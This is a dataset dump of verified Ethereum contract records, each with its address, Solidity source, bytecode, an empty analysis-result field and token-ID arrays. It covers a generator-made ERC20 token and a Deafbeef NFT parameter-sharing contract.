[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,488
0x96e2AC75342c09040cCEB926E22fD979ac848023
// SPDX-License-Identifier: MIT /* * Token has been generated for FREE using https://vittominacori.github.io/erc20-generator/ * * NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed * using the same generator. It is not an issue. It means that you won't need to verify your source code because of * it is already verified. * * DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT. * The following code is provided under MIT License. Anyone can use it as per their needs. * The generator's purpose is to make people able to tokenize their ideas without coding or paying for it. * Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations. * Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to * carefully weighs all the information and risks detailed in Token owner's Conditions. */ // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: contracts/service/ServicePayer.sol pragma solidity ^0.8.0; interface IPayable { function pay(string memory serviceName) external payable; } /** * @title ServicePayer * @dev Implementation of the ServicePayer */ abstract contract ServicePayer { constructor (address payable receiver, string memory serviceName) payable { IPayable(receiver).pay{value: msg.value}(serviceName); } } // File: contracts/utils/GeneratorCopyright.sol pragma solidity ^0.8.0; /** * @title GeneratorCopyright * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the GeneratorCopyright */ contract GeneratorCopyright { string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator"; string private _version; constructor (string memory version_) { _version = version_; } /** * @dev Returns the token generator tool. */ function generator() public pure returns (string memory) { return _GENERATOR; } /** * @dev Returns the token generator version. */ function version() public view returns (string memory) { return _version; } } // File: contracts/token/ERC20/SimpleERC20.sol pragma solidity ^0.8.0; /** * @title SimpleERC20 * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the SimpleERC20 */ contract SimpleERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.0.1") { constructor ( string memory name_, string memory symbol_, uint256 initialBalance_, address payable feeReceiver_ ) ERC20(name_, symbol_) ServicePayer(feeReceiver_, "SimpleERC20") payable { require(initialBalance_ > 0, "SimpleERC20: supply cannot be zero"); _mint(_msgSender(), initialBalance_); } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806354fd4d501161008c57806395d89b411161006657806395d89b4114610195578063a457c2d71461019d578063a9059cbb146101b0578063dd62ed3e146101c357600080fd5b806354fd4d501461015c57806370a08231146101645780637afa1eed1461018d57600080fd5b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461011557806323b872dd14610127578063313ce5671461013a5780633950935114610149575b600080fd5b6100dc6101fc565b6040516100e99190610846565b60405180910390f35b61010561010036600461081d565b61028e565b60405190151581526020016100e9565b6002545b6040519081526020016100e9565b6101056101353660046107e2565b6102a4565b604051601281526020016100e9565b61010561015736600461081d565b61035a565b6100dc610391565b61011961017236600461078f565b6001600160a01b031660009081526020819052604090205490565b6100dc6103a0565b6100dc6103c0565b6101056101ab36600461081d565b6103cf565b6101056101be36600461081d565b61046a565b6101196101d13660046107b0565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60606003805461020b906108c8565b80601f0160208091040260200160405190810160405280929190818152602001828054610237906108c8565b80156102845780601f1061025957610100808354040283529160200191610284565b820191906000526020600020905b81548152906001019060200180831161026757829003601f168201915b5050505050905090565b600061029b338484610477565b50600192915050565b60006102b184848461059b565b6001600160a01b03841660009081526001602090815260408083203384529091529020548281101561033b5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61034f853361034a86856108b1565b610477565b506001949350505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161029b91859061034a908690610899565b60606005805461020b906108c8565b60606040518060600160405280602f815260200161091a602f9139905090565b60606004805461020b906108c8565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156104515760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610332565b610460338561034a86856108b1565b5060019392505050565b600061029b33848461059b565b6001600160a01b0383166104d95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610332565b6001600160a01b03821661053a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610332565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166105ff5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610332565b6001600160a01b0382166106615760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610332565b6001600160a01b038316600090815260208190526040902054818110156106d95760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610332565b6106e382826108b1565b6001600160a01b038086166000908152602081905260408082209390935590851681529081208054849290610719908490610899565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161076591815260200190565b60405180910390a350505050565b80356001600160a01b038116811461078a57600080fd5b919050565b6000602082840312156107a0578081fd5b6107a982610773565b9392505050565b600080604083850312156107c2578081fd5b6107cb83610773565b91506107d960208401610773565b90509250929050565b6000806000606084860312156107f6578081fd5b6107ff84610773565b925061080d60208501610773565b9150604084013590509250925092565b6000806040838503121561082f578182fd5b61083883610773565b946020939093013593505050565b6000602080835283518082850152825b8181101561087257858101830151858201604001528201610856565b818111156108835783604083870101525b50601f01601f1916929092016040019392505050565b600082198211156108ac576108ac610903565b500190565b6000828210156108c3576108c3610903565b500390565b600181811c908216806108dc57607f821691505b602082108114156108fd57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe68747470733a2f2f766974746f6d696e61636f72692e6769746875622e696f2f65726332302d67656e657261746f72a26469706673582212200315b04416bc8583c10593e3cb96b647a898c96162e4c292753f8ea5ec5a123164736f6c63430008040033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 2063, 2475, 6305, 23352, 22022, 2475, 2278, 2692, 21057, 12740, 9468, 15878, 2683, 23833, 2063, 19317, 2546, 2094, 2683, 2581, 2683, 6305, 2620, 18139, 2692, 21926, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1008, 1008, 19204, 2038, 2042, 7013, 2005, 2489, 2478, 16770, 1024, 1013, 1013, 6819, 9284, 22311, 27108, 2072, 1012, 21025, 2705, 12083, 1012, 22834, 1013, 9413, 2278, 11387, 1011, 13103, 1013, 1008, 1008, 3602, 1024, 1000, 3206, 3120, 3642, 20119, 1006, 2714, 2674, 1007, 1000, 2965, 2008, 2023, 19204, 2003, 2714, 2000, 2060, 19204, 2015, 7333, 1008, 2478, 1996, 2168, 13103, 1012, 2009, 2003, 2025, 2019, 3277, 1012, 2009, 2965, 2008, 2017, 2180, 1005, 1056, 2342, 2000, 20410, 2115, 3120, 3642, 2138, 1997, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,489
0x96E2c86BEF8bC208Cec2E9A0ec1e3F726Ff583B4
// SPDX-License-Identifier: MIT /* Interface to allow shared access to edit parameters of a particular token. To be allowed access, must be an owner of another Deafbeef token. Signature can authenticate them on the deafbeef.com DAPP, to allow these editors to perform off-chain previews of parameter changes without gas cost. If editors have 'allowCommit' privilege, they can also commit those previews permanently with setParams(). */ pragma solidity >=0.6.0 <0.8.2; abstract contract extDeafbeef721 { function numSeries() public pure virtual returns (uint256) ; function mint(uint256 sid, address to) public virtual returns (uint256 _tokenId); function setPrice(uint256 sid, uint256 p) public virtual; function setTokenParam(uint256 tokenID, uint256 i, uint32 v) public virtual; function ownerOf(uint256 tokenId) external virtual view returns (address owner); } contract Share { extDeafbeef721 public deafbeef; address admin_address; uint256 public sharedID; bool public allowCommit; event ParamsChanged(uint256 tokenID, uint32 p0,uint32 p1,uint32 p2,uint32 p3,uint32 p4,uint32 p5,uint32 p6); event GrantAccess(address a); event RevokeAccess(address a); //Optionally, limit commits: once per address in 24hr period //each tokenID can have up to 3 editor addresses mapping(address => uint256) lastUpdate; mapping(address => bool) allowList; //only owners of other Deafbeef tokens are allowed to make commits modifier requireCommiter(uint256 tid) { require(msg.sender == deafbeef.ownerOf(tid) || allowList[msg.sender]); _; } modifier requireAdmin() { require(admin_address == msg.sender,"Requires admin privileges"); _; } constructor(address _contract_address) { deafbeef = extDeafbeef721(_contract_address); admin_address = msg.sender; allowCommit = true; } //Change the contract address this applies to. Probably never needed function setDeafbeef(address _contract_address) public requireAdmin virtual { deafbeef = extDeafbeef721(_contract_address); } function onAllowList(address a) public view returns(bool) { return allowList[a]; } function grantAccess(address a) public requireAdmin virtual { if (!allowList[a]) { allowList[a] = true; emit GrantAccess(a); } } function revokeAccess(address a) public requireAdmin virtual { if (allowList[a]) { allowList[a] = false; emit RevokeAccess(a); } } //Change the token ID that can be edited function setSharedID(uint256 tid) public requireAdmin virtual { sharedID = tid; } //Enable/Disable parameter commits from anyone except owner function setEnabled(bool e) public requireAdmin virtual { allowCommit = e; } //optionally include rate limiting function setParams(uint256 ownedID, uint32[] memory v) public requireCommiter(ownedID) virtual { require(allowCommit==true,"Committing disabled"); require(v.length==7,"Must have all parameters in order from 0-6"); // require(now - lastUpdate[msg.sender] > 60*5, "Must wait 5 minutes between commits"); for (uint j=0;j<v.length;j++) { deafbeef.setTokenParam(sharedID,j,v[j]); } emit ParamsChanged(sharedID,v[0],v[1],v[2],v[3],v[4],v[5],v[6]); // lastUpdate[msg.sender] = now; } }
0x608060405234801561001057600080fd5b506004361061009e5760003560e01c80639de9baaa116100665780639de9baaa146101f9578063a0ba719c1461022d578063a40d67bf146102ef578063e67268471461030f578063f9679e4f1461032d5761009e565b80630ae5e739146100a3578063328d8f72146100e75780633a06589214610117578063569f0a001461017157806385e68531146101b5575b600080fd5b6100e5600480360360208110156100b957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061035b565b005b610115600480360360208110156100fd57600080fd5b81019080803515159060200190929190505050610518565b005b6101596004803603602081101561012d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506105f8565b60405180821515815260200191505060405180910390f35b6101b36004803603602081101561018757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061064e565b005b6101f7600480360360208110156101cb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610754565b005b610201610912565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102ed6004803603604081101561024357600080fd5b81019080803590602001909291908035906020019064010000000081111561026a57600080fd5b82018360208201111561027c57600080fd5b8035906020019184602083028401116401000000008311171561029e57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610936565b005b6102f7610d4d565b60405180821515815260200191505060405180910390f35b610317610d60565b6040518082815260200191505060405180910390f35b6103596004803603602081101561034357600080fd5b8101908080359060200190929190505050610d66565b005b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461041e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f52657175697265732061646d696e2070726976696c656765730000000000000081525060200191505060405180910390fd5b600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610515576001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f25b10c0526638e6891022dd8799ed694dbb9aaf113e89aa0c33e83af5b228cad81604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a15b50565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f52657175697265732061646d696e2070726976696c656765730000000000000081525060200191505060405180910390fd5b80600360006101000a81548160ff02191690831515021790555050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610711576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f52657175697265732061646d696e2070726976696c656765730000000000000081525060200191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610817576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f52657175697265732061646d696e2070726976696c656765730000000000000081525060200191505060405180910390fd5b600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561090f576000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f24d1827423a4c66732fc6c67bc0748ab490dd042bf77a735f09ccc40e26e493281604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a15b50565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b8160008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636352211e826040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b1580156109a857600080fd5b505afa1580156109bc573d6000803e3d6000fd5b505050506040513d60208110156109d257600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610a655750600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b610a6e57600080fd5b60011515600360009054906101000a900460ff16151514610af7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f436f6d6d697474696e672064697361626c65640000000000000000000000000081525060200191505060405180910390fd5b6007825114610b51576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180610e34602a913960400191505060405180910390fd5b60005b8251811015610c205760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630497ce7d60025483868581518110610ba957fe5b60200260200101516040518463ffffffff1660e01b8152600401808481526020018381526020018263ffffffff1681526020019350505050600060405180830381600087803b158015610bfb57600080fd5b505af1158015610c0f573d6000803e3d6000fd5b505050508080600101915050610b54565b507f741f51ac9e9a8e5a0cb31fc93d25b2bef71a3608f48b34b1bee61f0b3bcb899b60025483600081518110610c5257fe5b602002602001015184600181518110610c6757fe5b602002602001015185600281518110610c7c57fe5b602002602001015186600381518110610c9157fe5b602002602001015187600481518110610ca657fe5b602002602001015188600581518110610cbb57fe5b602002602001015189600681518110610cd057fe5b6020026020010151604051808981526020018863ffffffff1681526020018763ffffffff1681526020018663ffffffff1681526020018563ffffffff1681526020018463ffffffff1681526020018363ffffffff1681526020018263ffffffff1681526020019850505050505050505060405180910390a1505050565b600360009054906101000a900460ff1681565b60025481565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e29576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f52657175697265732061646d696e2070726976696c656765730000000000000081525060200191505060405180910390fd5b806002819055505056fe4d757374206861766520616c6c20706172616d657465727320696e206f726465722066726f6d20302d36a2646970667358221220871e96992e9821bc47bd3a244e2ef5d982b35fe0a1569ffbea905a4c57eeb09864736f6c63430007030033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 2063, 2475, 2278, 20842, 4783, 2546, 2620, 9818, 11387, 2620, 3401, 2278, 2475, 2063, 2683, 2050, 2692, 8586, 2487, 2063, 2509, 2546, 2581, 23833, 4246, 27814, 2509, 2497, 2549, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1008, 8278, 2000, 3499, 4207, 3229, 2000, 10086, 11709, 1997, 1037, 3327, 19204, 1012, 2000, 2022, 3039, 3229, 1010, 2442, 2022, 2019, 3954, 1997, 2178, 12419, 11306, 2546, 19204, 1012, 8085, 2064, 14469, 3686, 2068, 2006, 1996, 12419, 11306, 2546, 1012, 4012, 4830, 9397, 1010, 2000, 3499, 2122, 10195, 2000, 4685, 2125, 1011, 4677, 19236, 2015, 1997, 16381, 3431, 2302, 3806, 3465, 1012, 2065, 10195, 2031, 1005, 3499, 9006, 22930, 1005, 14293, 1010, 2027, 2064, 2036, 10797, 2216, 19236, 2015, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,490
0x96e3064730281f3ec19cff8b8c5be89b1a6c13c1
